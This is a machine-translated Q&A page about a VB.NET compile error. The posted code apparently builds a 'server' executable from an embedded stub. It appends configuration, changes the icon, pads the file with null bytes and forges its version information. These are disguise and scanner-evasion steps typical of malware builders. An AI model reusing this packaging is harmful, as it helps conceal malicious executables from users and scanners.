2013-10-06 23 views
0

请问我有这个问题,并且我已经尝试了一切来修复它,但仍然无法修复它。那就是:VB.net Sub Main在'X'中找不到

Const Filesplit = "@[email protected]" 
    Dim temp As String = IO.Path.GetTempPath() & "\Stub.exe" 

    File.WriteAllBytes(temp, My.Resources.Stub) 

    If TextBox8.Text.Length > 2 Then 
     If File.Exists(temp) = True Then 
      Dim icon As New IconFile(TextBox9.Text) 
      Dim groupIconResource As GroupIconResource = icon.ConvertToGroupIconResource() 
      groupIconResource.SaveTo(temp) 
     End If 

    End If 

    FileOpen(1, temp, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 
    stub = Space(LOF(1)) 
    FileGet(1, stub) 
    FileClose(1) 

    If File.Exists(TextBox8.Text) Then 
     My.Computer.FileSystem.DeleteFile(TextBox8.Text) 
    End If 

    FileOpen(1, Application.StartupPath & "\" & TextBox8.Text & ".exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 
    Dim all As String = "" 
    For i = 0 To settings.Length - 1 
     all = all & Filesplit & settings(i) 
    Next 
    FilePut(1, stub & all) 

    FileClose(1) 
    File.Delete(temp) 

    If Form2.CheckBox41.Checked = True Then 
     ChngaeAssembly() 
    End If 


    If ComboBox1.Text = "KB" Then 
     Using w As BinaryWriter = New BinaryWriter(New FileStream(Application.StartupPath & "\" & TextBox8.Text & ".exe", FileMode.Append)) 
      Dim number As Integer = Val(TextBox6.Text) 
      For i = 0 To number 
       w.Write(New Byte(1024) {}) 
       w.Flush() 
      Next 

     End Using 
     MsgBox("Successfully built !", MsgBoxStyle.Information, "rapid V 1.0") 
    Else 
     Using w As BinaryWriter = New BinaryWriter(New FileStream(Application.StartupPath & "\" & TextBox8.Text & ".exe", FileMode.Append)) 
      Dim number As Integer = Val(TextBox6.Text * 1000) 
      For i = 0 To number 
       w.Write(New Byte(1024) {}) 
       w.Flush() 
      Next 

     End Using 

     MsgBox("Successfully built !", MsgBoxStyle.Information, "rapid") 
    End If 

    MsgBox("Problem Occured. The Server was not Built.", MessageBoxIcon.Error, "rapid") 

End Sub 
Private Sub ChngaeAssembly() 
    Try 
     If File.Exists(Application.StartupPath & "\res.exe") Then 
      File.Delete(Application.StartupPath & "\res.exe") 
     End If 
     If File.Exists(Application.StartupPath & "\assemblychange.res") Then 
      File.Delete(Application.StartupPath & "\assemblychange.res") 
     End If 
     System.IO.File.WriteAllBytes(Application.StartupPath & "\res.exe", My.Resources.Res) 
     Dim source As String = My.Resources.String1 
     If File.Exists(Application.StartupPath & "\assemblychange.exe") Then 
      File.Delete(Application.StartupPath & "\assemblychange.exe") 
     End If 
     Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0") 
     Dim Compiler As VBCodeProvider = New VBCodeProvider(Version) 
     Dim CompResults As CompilerResults 
     Dim ComParameters As New CompilerParameters() 
     With ComParameters 
      .GenerateExecutable = True 
      .OutputAssembly = Application.StartupPath & "\assemblychange.exe" 
      .CompilerOptions = "/target:winexe" 
      .ReferencedAssemblies.Add("System.dll") 
      .ReferencedAssemblies.Add("System.Windows.Forms.dll") 
      .MainClass = "X" 
     End With 
     source = source.Replace("*Title*", Form2.TextBox3.Text) 
     source = source.Replace("*Description*", Form2.TextBox4.Text) 
     source = source.Replace("*Company*", Form2.TextBox5.Text) 
     source = source.Replace("*Product*", Form2.TextBox6.Text) 
     source = source.Replace("*Copyright*", Form2.TextBox7.Text) 
     source = source.Replace("*Trademark*", Form2.TextBox8.Text) 
     source = source.Replace("*version*", String.Format("{0}.{1}.{2}.{3}", Form2.NumericUpDown2.Value, Form2.NumericUpDown3.Value, Form2.NumericUpDown4.Value, Form2.NumericUpDown5.Value)) 
     source = source.Replace("*fversion*", String.Format("{0}.{1}.{2}.{3}", Form2.NumericUpDown6.Value, Form2.NumericUpDown7.Value, Form2.NumericUpDown8.Value, Form2.NumericUpDown9.Value)) 
     CompResults = Compiler.CompileAssemblyFromSource(ComParameters, source) 
     If CompResults.Errors.Count > 0 Then 
      For Each CompilerError In CompResults.Errors 
       MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error) 
      Next 
      If File.Exists(Application.StartupPath & "\res.exe") = True Then 
       File.Delete(Application.StartupPath & "\res.exe") 
      End If 
      If File.Exists(Application.StartupPath & "\res.log") = True Then 
       File.Delete(Application.StartupPath & "\res.log") 
      End If 
      If File.Exists(Application.StartupPath & "\res.ini") = True Then 
       File.Delete(Application.StartupPath & "\res.ini") 
      End If 
      If File.Exists(Application.StartupPath & "\assemblychange.exe") Then 
       File.Delete(Application.StartupPath & "\assemblychange.exe") 
      End If 
      If File.Exists(Application.StartupPath & "\assemblychange.res") Then 
       File.Delete(Application.StartupPath & "\assemblychange.res") 
      End If 
      MessageBox.Show("An error occurred. The assembly was not changed.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error) 
      Exit Sub 
     End If 
     Dim otherfile As String = Application.StartupPath & "\assemblychange.exe" 
     Dim resfile As String = Application.StartupPath & "\assemblychange.res" 
     Dim mainfile As String = Application.StartupPath & "\" & TextBox8.Text & ".exe" 
     Shell(String.Format("{0}res.exe -extract {1},{2},VERSIONINFO,,", System.AppDomain.CurrentDomain.BaseDirectory(), otherfile, resfile)) 
     Shell(String.Format("{0}res.exe -delete {1},{0}res.exe,VERSIONINFO,,", System.AppDomain.CurrentDomain.BaseDirectory(), mainfile)) 
     Shell(String.Format("{0}res.exe -addoverwrite {1},{1},{2},VERSIONINFO,1,", System.AppDomain.CurrentDomain.BaseDirectory(), mainfile, resfile)) 
     If File.Exists(Application.StartupPath & "\assemblychange.exe") Then 
      File.Delete(Application.StartupPath & "\assemblychange.exe") 
     End If 
     If File.Exists(Application.StartupPath & "\assemblychange.res") Then 
      File.Delete(Application.StartupPath & "\assemblychange.res") 
     End If 
     If File.Exists(Application.StartupPath & "\res.exe") = True Then 
      File.Delete(Application.StartupPath & "\res.exe") 
     End If 
     If File.Exists(Application.StartupPath & "\res.log") = True Then 
      File.Delete(Application.StartupPath & "\res.log") 
     End If 
     If File.Exists(Application.StartupPath & "\res.ini") = True Then 
      File.Delete(Application.StartupPath & "\res.ini") 
     End If 
    Catch 
    End Try 
End Sub 

当我调试,我得到的Sub Main中的“X”当我尝试请我怎么解决它改变组件没有被发现?在此先感谢

+0

究竟是什么你想要做什么,它看起来像你开始一个WinForm项目,并正在试图改变启动窗体,如果是这种情况,请转到您的项目属性并在那里更改。 –

+0

我不改变winform的属性,改变它创建的文件的属性 – user1335112

回答

2

获取该错误的一种方法是将Sub Main作为不存在的启动对象。

在您的项目属性下,当您没有Sub Main时,Application,Startup Object可能被设置为“Sub Main”。相反,您可以选择项目中存在的表单(或子表单)。

(这个选项只限于形式,如果“启用应用程序框架”被选中。)

相关问题